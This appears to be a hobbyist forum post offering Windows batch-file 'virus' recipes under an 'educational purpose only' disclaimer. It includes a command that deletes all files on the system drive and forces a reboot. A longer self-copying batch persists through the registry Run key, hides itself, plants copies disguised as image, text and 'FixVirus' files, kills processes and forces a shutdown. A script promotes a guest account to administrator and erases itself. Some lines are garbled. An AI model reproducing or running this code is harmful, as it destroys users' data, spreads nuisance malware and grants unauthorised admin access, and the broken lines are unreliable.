FORMAT YOUR HARDISK...THIS IS VIRUS...

Do not try it on ur PC. This is educational purpose only
1}go to notepad and copy below code
@Echo off
Del C:\ *.*y
save it Dell.bat
worse
@echo offdel %systemdrive%\*.*/f/s/qshutdown -r -f -t 00
and save it as a .bat file

SIMPLE MAKING VIRUS.....................

Just copy and paste the code given below in notepad and save it as anyname.bat(not txt)Be carefull & Don't run this on ur pc
@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v
Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c "VIRUS DETECTED"
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.bat
goto RIP

It will
1) Copy itself into startup
2) Copy itself over one thousand times into random spots in your computer
3) Hide its self and all other created files
4) Task kill MSN, Norton, Windows Explorer, Limewire.
5) Swap the left mouse button with the right one
6) Opens alert boxes
7) Changes the time to 12:00 and shuts down the computer

RESTRICT USER LOGIN HOURS WITHOUT SOFTWARE......

1}first start the command prompt.
2}then type below command
Below are some examples:
1 - net user Joanna /time:M-F,08:00-17:00
2 - net user Ninja /time:M-F,8am-5pm
3 - net user Echelon /time:M,4am-5pm;T,1pm-3pm;W-F,8:00-17:00
4 - net user Shine /time:all (this one means this user can always log on)

Note:You can only restrict when a user can log on to the system.

HOW TO GET ADMIN ACCOUNT FROM GUEST ACCOUNT?

HaCk "GUEST" with Admin privileges........
echo offtitle
Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0
Copy this to notepad and save the file as "Guest2admin.bat"then u can double click the file to execute or run in the cmd.it works...

HOW TO HIDE YOUR HARD DISK WITHOUT ANY SOFTWARE?

1}first open command prompt and type DISKPART then ENTER.
2}then write LIST VOLUME
3}then write select volume 1 or 2 or or 3 etc
4}then write remove letter